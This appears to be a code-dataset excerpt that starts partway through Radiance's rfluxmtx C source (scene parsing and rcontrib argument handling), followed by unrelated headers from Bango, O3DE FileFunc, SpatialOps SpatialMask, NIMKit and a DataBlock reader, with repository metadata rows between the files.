VCROSS(vc, e1, e2);
p->snrm[0] += vc[0];
p->snrm[1] += vc[1];
p->snrm[2] += vc[2];
VCOPY(e1, e2);
}
p->area = normalize(p->snrm)*0.5;
return(p->area > FTINY);
}
/* Add a surface to our current parameters */
static void
add_surface(int st, const char *oname, FILE *fp)
{
SURF *snew;
int n;
/* get floating-point arguments */
if (!fscanf(fp, "%d", &n)) return;
while (n-- > 0) fscanf(fp, "%*s");
if (!fscanf(fp, "%d", &n)) return;
while (n-- > 0) fscanf(fp, "%*d");
if (!fscanf(fp, "%d", &n) || n <= 0) return;
snew = (SURF *)malloc(sizeof(SURF) + sizeof(double)*(n-1));
if (snew == NULL) {
fputs(progname, stderr);
fputs(": out of memory in add_surface!\n", stderr);
exit(1);
}
strncpy(snew->sname, oname, sizeof(snew->sname)-1);
snew->sname[sizeof(snew->sname)-1] = '\0';
snew->styp = st;
snew->priv = NULL;
snew->nfargs = n;
for (n = 0; n < snew->nfargs; n++)
if (fscanf(fp, "%lf", &snew->farg[n]) != 1) {
fprintf(stderr, "%s: error reading arguments for '%s'\n",
progname, oname);
exit(1);
}
switch (st) {
case ST_RING:
if (snew->nfargs != 8)
goto badcount;
VCOPY(snew->snrm, snew->farg+3);
if (normalize(snew->snrm) == 0)
goto badnorm;
if (snew->farg[7] < snew->farg[6]) {
double t = snew->farg[7];
snew->farg[7] = snew->farg[6];
snew->farg[6] = t;
}
snew->area = PI*(snew->farg[7]*snew->farg[7] -
snew->farg[6]*snew->farg[6]);
break;
case ST_POLY:
if (snew->nfargs < 9 || snew->nfargs % 3)
goto badcount;
finish_polygon(snew);
break;
case ST_SOURCE:
if (snew->nfargs != 4)
goto badcount;
for (n = 3; n--; ) /* need to reverse "normal" */
snew->snrm[n] = -snew->farg[n];
if (normalize(snew->snrm) == 0)
goto badnorm;
snew->area = sin((PI/180./2.)*snew->farg[3]);
snew->area *= PI*snew->area;
break;
}
if ((snew->area <= FTINY) & (verbose >= 0)) {
fprintf(stderr, "%s: warning - zero area for surface '%s'\n",
progname, oname);
free(snew);
return;
}
VSUM(curparams.nrm, curparams.nrm, snew->snrm, snew->area);
snew->next = curparams.slist;
curparams.slist = snew;
curparams.nsurfs++;
return;
badcount:
fprintf(stderr, "%s: bad argument count for surface element '%s'\n",
progname, oname);
exit(1);
badnorm:
fprintf(stderr, "%s: bad orientation for surface element '%s'\n",
progname, oname);
exit(1);
}
/* Parse a receiver object (look for modifiers to add to rcontrib command) */
static int
add_recv_object(FILE *fp)
{
int st;
char thismod[128], otype[32], oname[128];
int n;
if (fscanf(fp, "%s %s %s", thismod, otype, oname) != 3)
return(0); /* must have hit EOF! */
if (!strcmp(otype, "alias")) {
fscanf(fp, "%*s"); /* skip alias */
return(0);
}
/* is it a new receiver? */
if ((st = surf_type(otype)) != ST_NONE) {
if (curparams.slist != NULL && (st == ST_SOURCE) ^
(curparams.slist->styp == ST_SOURCE)) {
fputs(progname, stderr);
fputs(": cannot mix source/non-source receivers!\n", stderr);
return(-1);
}
if (strcmp(thismod, curmod)) {
if (curmod[0]) { /* output last receiver? */
finish_receiver();
clear_params(&curparams, 1);
}
parse_params(&curparams, newparams);
newparams[0] = '\0';
strcpy(curmod, thismod);
}
add_surface(st, oname, fp); /* read & store surface */
return(1);
}
/* else skip arguments */
if (!fscanf(fp, "%d", &n)) return(0);
while (n-- > 0) fscanf(fp, "%*s");
if (!fscanf(fp, "%d", &n)) return(0);
while (n-- > 0) fscanf(fp, "%*d");
if (!fscanf(fp, "%d", &n)) return(0);
while (n-- > 0) fscanf(fp, "%*f");
return(0);
}
/* Parse a sender object */
static int
add_send_object(FILE *fp)
{
int st;
char thismod[128], otype[32], oname[128];
int n;
if (fscanf(fp, "%s %s %s", thismod, otype, oname) != 3)
return(0); /* must have hit EOF! */
if (!strcmp(otype, "alias")) {
fscanf(fp, "%*s"); /* skip alias */
return(0);
}
/* is it a new surface? */
if ((st = surf_type(otype)) != ST_NONE) {
if (st == ST_SOURCE) {
fputs(progname, stderr);
fputs(": cannot use source as a sender!\n", stderr);
return(-1);
}
if (strcmp(thismod, curmod)) {
if (curmod[0]) {
fputs(progname, stderr);
fputs(": warning - multiple modifiers in sender\n",
stderr);
}
strcpy(curmod, thismod);
}
parse_params(&curparams, newparams);
newparams[0] = '\0';
add_surface(st, oname, fp); /* read & store surface */
return(0);
}
/* else skip arguments */
if (!fscanf(fp, "%d", &n)) return(0);
while (n-- > 0) fscanf(fp, "%*s");
if (!fscanf(fp, "%d", &n)) return(0);
while (n-- > 0) fscanf(fp, "%*d");
if (!fscanf(fp, "%d", &n)) return(0);
while (n-- > 0) fscanf(fp, "%*f");
return(0);
}
/* Load a Radiance scene using the given callback function for objects */
static int
load_scene(const char *inspec, int (*ocb)(FILE *))
{
int rv = 0;
char inpbuf[1024];
FILE *fp;
int c;
if (*inspec == '!')
fp = popen(inspec+1, "r");
else
fp = fopen(inspec, "r");
if (fp == NULL) {
fprintf(stderr, "%s: cannot load '%s'\n", progname, inspec);
return(-1);
}
while ((c = getc(fp)) != EOF) { /* load receiver data */
if (isspace(c)) /* skip leading white space */
continue;
if (c == '!') { /* read from a new command */
inpbuf[0] = c;
if (fgetline(inpbuf+1, sizeof(inpbuf)-1, fp) != NULL) {
if ((c = load_scene(inpbuf, ocb)) < 0)
return(c);
rv += c;
}
continue;
}
if (c == '#') { /* parameters/comment */
if ((c = getc(fp)) == EOF || ungetc(c,fp) == EOF)
break;
if (!isspace(c) && fscanf(fp, "%s", inpbuf) == 1 &&
!strcmp(inpbuf, PARAMSTART)) {
if (fgets(inpbuf, sizeof(inpbuf), fp) != NULL)
strcat(newparams, inpbuf);
continue;
}
while ((c = getc(fp)) != EOF && c != '\n')
; /* else skipping comment */
continue;
}
ungetc(c, fp); /* else check object for receiver */
c = (*ocb)(fp);
if (c < 0)
return(c);
rv += c;
}
/* close our input stream */
c = (*inspec == '!') ? pclose(fp) : fclose(fp);
if (c != 0) {
fprintf(stderr, "%s: error loading '%s'\n", progname, inspec);
return(-1);
}
return(rv);
}
/* Get command arguments and run program */
int
main(int argc, char *argv[])
{
char fmtopt[6] = "-faa"; /* default output is ASCII */
char *xrs=NULL, *yrs=NULL, *ldopt=NULL;
char *iropt = NULL;
char *sendfn;
char sampcntbuf[32], nsbinbuf[32];
FILE *rcfp;
int nsbins;
int a, i;
#ifdef ACCELERAD
char nametest[128];
#if defined(_WIN32) || defined(_WIN64)
char nulldest[4] = "NUL";
#else
char nulldest[10] = "/dev/null";
#endif
#endif
/* screen rcontrib options */
progname = argv[0];
for (a = 1; a < argc-2; a++) {
int na;
/* check for argument expansion */
while ((na = expandarg(&argc, &argv, a)) > 0)
;
if (na < 0) {
fprintf(stderr, "%s: cannot expand '%s'\n",
progname, argv[a]);
return(1);
}
if (argv[a][0] != '-' || !argv[a][1])
break;
na = 1;
switch (argv[a][1]) { /* !! Keep consistent !! */
case 'v': /* verbose mode */
verbose = 1;
na = 0;
continue;
case 'f': /* special case for -fo, -ff, etc. */
switch (argv[a][2]) {
case '\0': /* cal file */
goto userr;
case 'o': /* force output */
goto userr;
case 'a': /* output format */
case 'f':
case 'd':
case 'c':
if (!(fmtopt[3] = argv[a][3]))
fmtopt[3] = argv[a][2];
fmtopt[2] = argv[a][2];
na = 0;
continue; /* will pass later */
default:
goto userr;
}
break;
case 'x': /* x-resolution */
xrs = argv[++a];
na = 0;
continue;
case 'y': /* y-resolution */
yrs = argv[++a];
na = 0;
continue;
case 'c': /* number of samples */
sampcnt = atoi(argv[++a]);
if (sampcnt <= 0)
goto userr;
na = 0; /* we re-add this later */
continue;
case 'I': /* only for pass-through mode */
case 'i':
iropt = argv[a];
na = 0;
continue;
case 'w': /* options without arguments */
if (!argv[a][2] || strchr("+1tTyY", argv[a][2]) == NULL)
verbose = -1;
break;
case 'V':
case 'u':
case 'h':
case 'r':
break;
case 'n': /* options with 1 argument */
case 's':
case 'o':
#ifdef ACCELERAD
case 't': /* now depricated, but let it pass for rcontrib to generate a warning */
#endif
na = 2;
break;
case 'b': /* special case */
if (argv[a][2] != 'v') goto userr;
break;
case 'l': /* special case */
if (argv[a][2] == 'd') {
ldopt = argv[a];
na = 0;
continue;
}
na = 2;
break;
case 'd': /* special case */
if (argv[a][2] != 'v') na = 2;
break;
case 'a': /* special case */
if (argv[a][2] == 'p') {
na = 2; /* photon map [+ bandwidth(s)] */
if (a < argc-3 && atoi(argv[a+1]) > 0)
na += 1 + (a < argc-4 && atoi(argv[a+2]) > 0);
} else
na = (argv[a][2] == 'v') ? 4 : 2;
break;
case 'm': /* special case */
if (!argv[a][2]) goto userr;
na = (argv[a][2] == 'e') | (argv[a][2] == 'a') ? 4 : 2;
break;
#ifdef ACCELERAD
case 'g': /* special case */
if (argv[a][2] == 'v') na = 2;
else if (argv[a][2] == '+' || argv[a][2] == '-') na = 1;
else if (argv[a][2]) goto userr;
else
na = ((a < argc - 2) && (argv[a + 1][0] != '-')) ? 2 : 1;
break;
#endif
default: /* anything else is verbotten */
goto userr;
}
if (na <= 0) continue;
CHECKARGC(na); /* pass on option */
rcarg[nrcargs++] = argv[a];
while (--na) /* + arguments if any */
rcarg[nrcargs++] = argv[++a];
}
if (a > argc-2)
goto userr; /* check at end of options */
sendfn = argv[a++]; /* assign sender & receiver inputs */
if (sendfn[0] == '-') { /* user wants pass-through mode? */
if (sendfn[1]) goto userr;
sendfn = NULL;
if (iropt) {
CHECKARGC(1);
rcarg[nrcargs++] = iropt;
}
if (xrs) {
CHECKARGC(2);
rcarg[nrcargs++] = "-x";
rcarg[nrcargs++] = xrs;
}
if (yrs) {
CHECKARGC(2);
rcarg[nrcargs++] = "-y";
rcarg[nrcargs++] = yrs;
}
if (ldopt) {
CHECKARGC(1);
rcarg[nrcargs++] = ldopt;
}
if (sampcnt <= 0) sampcnt = 1;
} else { /* else in sampling mode */
if (iropt) {
fputs(progname, stderr);
fputs(": -i, -I supported for pass-through only\n", stderr);
return(1);
}
#ifdef SMLFLT
fmtopt[2] = 'f';
#else
fmtopt[2] = 'd';
#endif
if (sampcnt <= 0) sampcnt = 10000;
}
sprintf(sampcntbuf, "%d", sampcnt);
CHECKARGC(3); /* add our format & sample count */
rcarg[nrcargs++] = fmtopt;
rcarg[nrcargs++] = "-c";
rcarg[nrcargs++] = sampcntbuf;
/* add receiver arguments to rcontrib */
if (load_scene(argv[a], add_recv_object) < 0)
return(1);
finish_receiver();
#ifdef ACCELERAD
sprintf(nametest, "%s -version > %s 2>&1", rcarg[0], nulldest);
if (system(nametest)) /* check existance of accelerad_rcontrib */
rcarg[0] += ACCEL_CHARS;
#endif
if (sendfn == NULL) { /* pass-through mode? */
CHECKARGC(1); /* add octree */
rcarg[nrcargs++] = oconv_command(argc-a, argv+a);
rcarg[nrcargs] = NULL;
return(my_exec(rcarg)); /* rcontrib does everything */
}
clear_params(&curparams, 0); /* else load sender surface & params */
curmod[0] = '\0';
if (load_scene(sendfn, add_send_object) < 0)
return(1);
if ((nsbins = prepare_sampler()) <= 0)
return(1);
CHECKARGC(3); /* add row count and octree */
rcarg[nrcargs++] = "-y";
sprintf(nsbinbuf, "%d", nsbins);
rcarg[nrcargs++] = nsbinbuf;
rcarg[nrcargs++] = oconv_command(argc-a, argv+a);
rcarg[nrcargs] = NULL;
/* open pipe to rcontrib process */
if ((rcfp = popen_arglist(rcarg, "w")) == NULL)
return(1);
SET_FILE_BINARY(rcfp);
#ifdef getc_unlocked
flockfile(rcfp);
#endif
if (verbose > 0) {
fprintf(stderr, "%s: sampling %d directions", progname, nsbins);
if (curparams.nsurfs > 1)
fprintf(stderr, " (%d elements)\n", curparams.nsurfs);
else
fputc('\n', stderr);
}
for (i = 0; i < nsbins; i++) /* send rcontrib ray samples */
if (!(*curparams.sample_basis)(&curparams, i, rcfp))
return(1);
return(pclose_al(rcfp) < 0); /* all finished! */
userr:
if (a < argc-2)
fprintf(stderr, "%s: unsupported option '%s'", progname, argv[a]);
fprintf(stderr, "Usage: %s [-v][rcontrib options] sender.rad receiver.rad [-i system.oct] [system.rad ..]\n",
progname);
return(1);
}
| 25.287075 | 110 | 0.581002 |
29bf5f73d2765ac74e8ef5fcd14006afbc14cd75 | 449 | h | C | Bango/Pages/Login/ZCLoginViewController.h | LemonChao/Bango | 5374051df57aa8d3e30d7c5e40b28562a8b8f489 | [
"Apache-2.0"
] | null | null | null | Bango/Pages/Login/ZCLoginViewController.h | LemonChao/Bango | 5374051df57aa8d3e30d7c5e40b28562a8b8f489 | [
"Apache-2.0"
] | null | null | null | Bango/Pages/Login/ZCLoginViewController.h | LemonChao/Bango | 5374051df57aa8d3e30d7c5e40b28562a8b8f489 | [
"Apache-2.0"
] | null | null | null | //
// ZCLoginViewController.h
// Bango
//
// Created by zchao on 2019/3/14.
// Copyright © 2019 zchao. All rights reserved.
//
#import "ZCBaseViewController.h"
NS_ASSUME_NONNULL_BEGIN
@interface ZCLoginViewController : ZCBaseViewController
/** 登录结果回调*/
@property (nonatomic,copy) void (^loginCallback)(NSDictionary *userInfo);
/** 登录完成后返回首页 default YES */
@property(nonatomic, assign) BOOL completeBackToHome;
@end
NS_ASSUME_NONNULL_END
| 17.96 | 73 | 0.750557 |
63b58eee76d97ad80591b2ca160c95735087b299 | 7,956 | h | C | Code/Framework/AzFramework/AzFramework/FileFunc/FileFunc.h | aaarsene/o3de | 37e3b0226958974defd14dd6d808e8557dcd7345 | [
"Apache-2.0",
"MIT"
] | 1 | 2021-09-13T00:01:12.000Z | 2021-09-13T00:01:12.000Z | Code/Framework/AzFramework/AzFramework/FileFunc/FileFunc.h | aaarsene/o3de | 37e3b0226958974defd14dd6d808e8557dcd7345 | [
"Apache-2.0",
"MIT"
] | null | null | null | Code/Framework/AzFramework/AzFramework/FileFunc/FileFunc.h | aaarsene/o3de | 37e3b0226958974defd14dd6d808e8557dcd7345 | [
"Apache-2.0",
"MIT"
] | 1 | 2021-07-20T11:07:25.000Z | 2021-07-20T11:07:25.000Z | /*
* Copyright (c) Contributors to the Open 3D Engine Project. For complete copyright and license terms please see the LICENSE at the root of this distribution.
*
* SPDX-License-Identifier: Apache-2.0 OR MIT
*
*/
#pragma once
#include <AzCore/IO/FileIO.h>
#include <AzCore/JSON/rapidjson.h>
#include <AzCore/JSON/document.h>
#include <AzCore/Outcome/Outcome.h>
#include <AzCore/Serialization/Json/JsonSerializationResult.h>
#include <AzCore/std/any.h>
#include <AzCore/std/functional.h>
#include <AzCore/std/string/string.h>
#include <AzCore/std/containers/list.h>
#include <AzCore/Utils/Utils.h>
//! Namespace for file functions.
/*!
The FileFunc namespace is where we put some higher level file reading and writing
operations.
*/
namespace AzFramework
{
namespace FileFunc
{
struct WriteJsonSettings
{
int m_maxDecimalPlaces = -1; // -1 means use default
};
/*
* Read a string into a JSON document
*
* \param[in] jsonText The string of JSON to parse into a JSON document.
* \return Outcome<rapidjson::Document) Returns a failure with error message if the content is not valid JSON.
*/
AZ::Outcome<rapidjson::Document, AZStd::string> ReadJsonFromString(AZStd::string_view jsonText);
/*
* Read a text file into a JSON document
*
* \param[in] jsonFilePath The path to the JSON file path to open
* \param[in] overrideFileIO Optional file IO instance to use. If null, use the Singleton instead
* \param[in] maxFileSize The maximum size, in bytes, of the file to read. Defaults to 1 MB.
* \return Outcome(rapidjson::Document) Returns a failure with error message if the content is not valid JSON.
*/
AZ::Outcome<rapidjson::Document, AZStd::string> ReadJsonFile(const AZ::IO::Path& jsonFilePath, AZ::IO::FileIOBase* overrideFileIO = nullptr, size_t maxFileSize = AZ::Utils::DefaultMaxFileSize);
/**
* Write a JSON document to a string
*
* \param[in] jsonDoc The JSON document to write to a text file
* \param[out] jsonFilePath The string that the JSON text will be written to.
* \param[in] settings Settings to pass along to the JSON writer.
* \return StringOutcome Saves the JSON document to text. Otherwise returns a failure with error message.
*/
AZ::Outcome<void, AZStd::string> WriteJsonToString(const rapidjson::Document& document, AZStd::string& jsonText, WriteJsonSettings settings = WriteJsonSettings{});
/**
* Write a JSON document to a text file
*
* \param[in] jsonDoc The JSON document to write to a text file
* \param[in] jsonFilePath The path to the JSON file path to write to
* \param[in] settings Settings to pass along to the JSON writer.
* \return StringOutcome Saves the JSON document to a file. Otherwise returns a failure with error message.
*/
AZ::Outcome<void, AZStd::string> WriteJsonFile(const rapidjson::Document& jsonDoc, const AZ::IO::Path& jsonFilePath, WriteJsonSettings settings = WriteJsonSettings{});
/**
* Find all the files in a path based on an optional filter. Recurse if requested.
*
* \param[in] folder The folder to find the files in
* \param[in] filter Optional file filter (i.e. wildcard *) to apply
* \param[in] recurseSubFolders Option to recurse into any subfolders found in the search
* \param[out] fileList List of files found from the search
* \return true if the files where found, false if an error occurred.
*/
AZ::Outcome<AZStd::list<AZStd::string>, AZStd::string> FindFilesInPath(const AZStd::string& folder, const AZStd::string& filter, bool recurseSubFolders);
/**
* Helper function to read a text file line by line and process each line through a function ptr input
* \param[in] filePath The path to the config file
* \param[in] perLineCallback Function ptr to a function that takes in a const char* as input, and returns false to stop processing or true to continue to the next line
* \return true if the file was open and read successfully, false if not
*/
AZ::Outcome<void, AZStd::string> ReadTextFileByLine(const AZStd::string& filePath, AZStd::function<bool(const char* line)> perLineCallback);
/**
* Replaces a value in an ini-style file.
*
* \param[in] filePath The path to the config file to update
* \param[in] updateRules The update rules (list of update strings, see below) to apply
*
* The replace string rule format follows the following:
* ([header]/)[key]=[value]
*
* where:
* header (optional) : Optional group title for the key
* key : The key to lookup or create for the value
* value : The value to update or create
*/
AZ::Outcome<void, AZStd::string> ReplaceInCfgFile(const AZStd::string& filePath, const AZStd::list<AZStd::string>& updateRules);
/**
* Replaces a value in an ini-style file.
*
* \param[in] filePath The path to the config file to update
* \param[in] updateRule The update rule (list of update strings, see below) to apply
*
* The replace string rule format follows the following:
* ([header]/)[key]=[value]
*
* where:
* header (optional) : Optional group title for the key
* key : The key to lookup or create for the value
* value : The value to update or create
*/
AZ::Outcome<void, AZStd::string> ReplaceInCfgFile(const AZStd::string& filePath, const char* header, const AZStd::string& key, const AZStd::string& newValue);
/**
* Gets the value(s) for a key in an INI style config file.
*
* \param[in] filePath The path to the config file
* \param[in] key The key of the value to find
*
* \returns Value(s) on success, error message on failure.
*/
AZ::Outcome<AZStd::string, AZStd::string> GetValueForKeyInCfgFile(const AZStd::string& filePath, const char* key);
/**
* Gets the value(s) for a key in an INI style config file with the given contents.
*
* \param[in] configFileContents The contents of a config file in a string
* \param[in] key The key of the value to find
*
* \returns Value(s) on success, error message on failure.
*/
AZ::Outcome<AZStd::string, AZStd::string> GetValueForKeyInCfgFileContents(const AZStd::string& configFileContents, const char* key);
/**
* Gets the contents of an INI style config file as a string.
*
* \param[in] filePath The path to the config file
*
* \returns Contents of filePath on success, error message on failure.
*/
AZ::Outcome<AZStd::string, AZStd::string> GetCfgFileContents(const AZStd::string& filePath);
/**
* Find a list of files using FileIO GetInstance
*
* \param[in] pathToStart The folder to start at
* \param[in] pattern The wildcard pattern to match against
* \param[in] recurse - whether to search directories underneath pathToStart recursively
* \returns AZ::Success and a list of files of matches found, an error string on an empty list
*/
AZ::Outcome<AZStd::list<AZStd::string>, AZStd::string> FindFileList(const AZStd::string& pathToStart, const char* pattern, bool recurse);
} // namespace FileFunc
} // namespace AzFramework
| 47.640719 | 201 | 0.631347 |
6f3c8f94de34f0a5de9bda5e35c7a0d8fb95adcc | 10,536 | h | C | spatialops/structured/SpatialMask.h | MaxZZG/SpatialOps | c673081a6214ac3020d2fa92d09663922815f740 | [
"MIT"
] | null | null | null | spatialops/structured/SpatialMask.h | MaxZZG/SpatialOps | c673081a6214ac3020d2fa92d09663922815f740 | [
"MIT"
] | null | null | null | spatialops/structured/SpatialMask.h | MaxZZG/SpatialOps | c673081a6214ac3020d2fa92d09663922815f740 | [
"MIT"
] | null | null | null | /*
* Copyright (c) 2014-2017 The University of Utah
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to
* deal in the Software without restriction, including without limitation the
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
#ifndef SpatialOps_SpatialMask_h
#define SpatialOps_SpatialMask_h
#include <vector>
#include <cassert>
#include <spatialops/SpatialOpsConfigure.h>
#include <spatialops/structured/BitField.h>
#include <spatialops/structured/SpatialField.h>
namespace SpatialOps{
/**
* \class SpatialMask
*
* \ingroup boundaryconditions
*
* \brief Abstracts a mask.
*
* Use SpatialMask when using masks with Nebo.
*
* SpatialMasks can be used in Nebo cond.
* See structured/test/testMask.cpp for examples.
*
* Constructing a SpatialMask requires a prototype field and a list of (IntVec) points.
*
* The valid ghost cells of the SpatialMask match its prototype field.
*
* Points are indexed from the interior of the MemoryWindow (does not include ghost cells).
* Ghost cells on negative faces therefore have negative indices.
* Thus, if there is at least one valid ghost on every face, then the point (-1,-1,-1) is valid.
*
* The points in the list become the mask points (return true).
* All valid points not in the list are not mask points (return false).
*
* SpatialMask supports Nebo GPU execution.
* However, every SpatialMask currently must be constructed on the CPU and *explicitly* copied
* to the GPU with the add_consumer() method.
*
* \tparam FieldType - the underlying fieldtype of the mask
*
* \par Related classes:
* - \ref SpatialField
* - \ref MemoryWindow
*/
template<typename FieldType>
class SpatialMask
{
public:
typedef FieldType field_type;
typedef SpatialMask<FieldType> mask_type;
typedef MemoryWindow memory_window;
typedef ConstMaskIterator const_iterator;
private:
MemoryWindow maskWindow_; ///< Full representation of the window to the mask ( includes ghost cells )
MemoryWindow interiorMaskWindow_; ///< Window representation sans ghost cells.
const BoundaryCellInfo bcInfo_; ///< information about this field's behavior on a boundary
const GhostData ghosts_; ///< The total number of ghost cells on each face of this field.
GhostData validGhosts_; ///< The number of valid ghost cells on each face of this field.
boost::shared_ptr< std::vector<IntVec> > points_; ///< the points for this mask, stored as (i,j,k) indices, 0-based.
BitField bitField_;
public:
/**
* \brief Construct a SpatialMask
* \param window the MemoryWindow that specifies this field
* including ghost cells.
* \param bc information on boundary treatment for this field
* \param ghosts information on ghost cells for this field
* \param points points in the mask
*/
SpatialMask( const MemoryWindow & window,
const BoundaryCellInfo & bc,
const GhostData & ghosts,
const std::vector<IntVec> & points )
: maskWindow_( window ),
interiorMaskWindow_(MemoryWindow(window.glob_dim(),
window.offset() + ghosts.get_minus(),
window.extent() - ghosts.get_minus() - ghosts.get_plus())),
bcInfo_ ( bc ),
ghosts_ ( ghosts ),
validGhosts_( ghosts ),
points_ ( new std::vector<IntVec>(points) ),
bitField_ ( *points_, interiorMaskWindow_, validGhosts_ )
{};
/**
* \brief Construct a SpatialMask
* \param prototype field to copy size information from
* \param points points in the mask
*/
SpatialMask( const FieldType & prototype,
const std::vector<IntVec> & points )
: maskWindow_ ( prototype.window_with_ghost() ),
interiorMaskWindow_( prototype.window_without_ghost() ),
bcInfo_ ( prototype.boundary_info() ),
ghosts_ ( prototype.get_ghost_data() ),
validGhosts_ ( prototype.get_valid_ghost_data() ),
points_ ( new std::vector<IntVec>(points) ),
bitField_( *points_, interiorMaskWindow_, validGhosts_ )
{};
/**
* \brief Shallow copy constructor. This results in two fields
* that share the same underlying memory.
*/
SpatialMask( const SpatialMask& other )
: maskWindow_ ( other.maskWindow_ ),
interiorMaskWindow_( other.interiorMaskWindow_ ),
bcInfo_ ( other.bcInfo_ ),
ghosts_ ( other.ghosts_ ),
validGhosts_ (other.validGhosts_ ),
points_ ( other.points_ ),
bitField_ ( other.bitField_ )
{};
/**
* \brief Shallow copy constructor with new window.
*/
SpatialMask(const MemoryWindow& window,
const SpatialMask& other)
: maskWindow_ ( window ),
interiorMaskWindow_( other.interiorMaskWindow_ ), // This should not be used!
bcInfo_ ( other.bcInfo_.limit_by_extent(window.extent()) ),
ghosts_ ( other.ghosts_.limit_by_extent(window.extent()) ),
validGhosts_ ( other.ghosts_.limit_by_extent(window.extent()) ),
points_ ( other.points_ ),
bitField_ ( other.bitField_ )
{
// ensure that we are doing sane operations with the new window:
# ifndef NDEBUG
assert( window.sanity_check() );
const MemoryWindow& pWindow = other.window_with_ghost();
for( size_t i=0; i<3; ++i ){
assert( window.extent(i) + window.offset(i) <= pWindow.glob_dim(i) );
assert( window.offset(i) < pWindow.glob_dim(i) );
}
# endif
};
template<typename PrototypeType>
SpatialMask<FieldType>
static inline build( const PrototypeType & prototype,
const std::vector<IntVec> & points ){
return SpatialMask( create_new_memory_window<FieldType, PrototypeType>(prototype),
create_new_boundary_cell_info<FieldType, PrototypeType>(prototype),
prototype.get_valid_ghost_data(),
points );
}
~SpatialMask() {};
/**
* \brief return reference to list of points in given list
* NOTE: Not supported for external field types
*/
inline const std::vector<IntVec> & points(void) const{
return *points_;
};
/**
* \brief Given an index in this mask, return whether or not index is a mask point.
* WARNING: slow!
* NOTE: Not supported for external field types
*/
inline bool operator()(const size_t i, const size_t j, const size_t k) const{
return operator()(IntVec(i,j,k));
};
/**
* \brief Given an index in this mask, return whether or not index is a mask point.
* WARNING: slow!
* NOTE: Not supported for external field types
*/
inline bool operator()(const IntVec& ijk) const { return bitField_(ijk); };
/**
* \brief Iterator constructs for traversing memory windows.
* Note: Iteration is not directly supported for external field types.
*/
inline const_iterator begin() const { return bitField_.begin(maskWindow_); };
inline const_iterator end() const { return bitField_.end(maskWindow_); };
inline const_iterator interior_begin() const{
return bitField_.begin(interiorMaskWindow_);
};
inline const_iterator interior_end() const{
return bitField_.end(interiorMaskWindow_);
};
inline void add_consumer(const short int consumerDeviceIndex){
bitField_.add_consumer(consumerDeviceIndex);
};
inline bool find_consumer(const short int consumerDeviceIndex) const{
return bitField_.find_consumer(consumerDeviceIndex);
};
inline bool has_consumers() { return bitField_.has_consumers(); };
inline const BoundaryCellInfo& boundary_info() const{ return bcInfo_; };
inline const MemoryWindow& window_without_ghost() const { return interiorMaskWindow_; };
inline const MemoryWindow& window_with_ghost() const { return maskWindow_; };
inline short int active_device_index() const { return bitField_.active_device_index(); };
inline const unsigned int * mask_values(const short int consumerDeviceIndex = 0) const{
return bitField_.mask_values(consumerDeviceIndex);
};
inline const GhostData& get_ghost_data() const{ return ghosts_; };
inline const GhostData& get_valid_ghost_data() const{ return validGhosts_; };
/**
* @brief Obtain a child field that is reshaped.
* @param extentModify the amount to modify the extent of the current field by
* @param shift the number of grid points to shift the current field by
* @return the reshaped child field
*
* The memory is the same as the parent field, but windowed differently.
* Note that a reshaped field is considered read-only and you cannot obtain
* interior iterators for these fields.
*/
inline mask_type reshape( const IntVec& extentModify,
const IntVec& shift ) const
{
MemoryWindow w( maskWindow_.glob_dim(),
maskWindow_.offset() + shift,
maskWindow_.extent() + extentModify );
return mask_type( w, *this );
};
};
} // namespace SpatialOps
#endif // SpatialOps_SpatialMask_h
| 38.735294 | 121 | 0.65205 |
6f3f5788a03b14209e94995876d61472bdb83eb0 | 241 | h | C | NIMKit/NIMKit/Classes/Global/NIMKitDataProviderImpl.h | zack-zhang-ke/NIM_iOS_UIKit | 14c9b7dfdf1fcc14aec89260ae6d8d26c1f88e7b | [
"MIT"
] | 1,436 | 2015-09-03T11:08:42.000Z | 2021-06-01T01:00:51.000Z | NIMKit/NIMKit/Classes/Global/NIMKitDataProviderImpl.h | zack-zhang-ke/NIM_iOS_UIKit | 14c9b7dfdf1fcc14aec89260ae6d8d26c1f88e7b | [
"MIT"
] | 290 | 2015-11-30T16:22:54.000Z | 2021-04-30T01:00:03.000Z | NIMKit/NIMKit/Classes/Global/NIMKitDataProviderImpl.h | zack-zhang-ke/NIM_iOS_UIKit | 14c9b7dfdf1fcc14aec89260ae6d8d26c1f88e7b | [
"MIT"
] | 457 | 2015-10-12T07:46:22.000Z | 2021-05-31T11:41:45.000Z | //
// NIMKitDataProviderImpl.h
// NIMKit
//
// Created by chris on 2016/10/31.
// Copyright © 2016年 NetEase. All rights reserved.
//
#import "NIMKitDataProvider.h"
@interface NIMKitDataProviderImpl : NSObject<NIMKitDataProvider>
@end
| 17.214286 | 64 | 0.73029 |
c0aa7217c04341611cbe5a6416f735b8a6d1c007 | 289 | h | C | library/androidndkgif/jni/DataBlock.h | HamstersQAQ/android-ndk-gif-0.3.3 | d6f74678d647dbae093f6e76790366c66cb1a60e | [
"Apache-2.0"
] | 13 | 2018-09-28T10:59:31.000Z | 2019-04-17T09:41:44.000Z | progressgif/src/main/cpp/DataBlock.h | aheze/ProgressGif-1 | 21cb58af89d60086a0c7fed9deebcbb0b4ea498a | [
"MIT"
] | null | null | null | progressgif/src/main/cpp/DataBlock.h | aheze/ProgressGif-1 | 21cb58af89d60086a0c7fed9deebcbb0b4ea498a | [
"MIT"
] | 2 | 2018-09-28T11:02:40.000Z | 2020-08-21T02:21:48.000Z | #pragma once
#include <stdint.h>
class DataBlock
{
private:
const uint8_t* data;
int32_t remain;
public:
DataBlock(const uint8_t* data, int32_t remain);
DataBlock(const DataBlock& dataBlock);
~DataBlock(void);
bool read(uint8_t* dst, int32_t size);
bool read(uint16_t* dst);
};
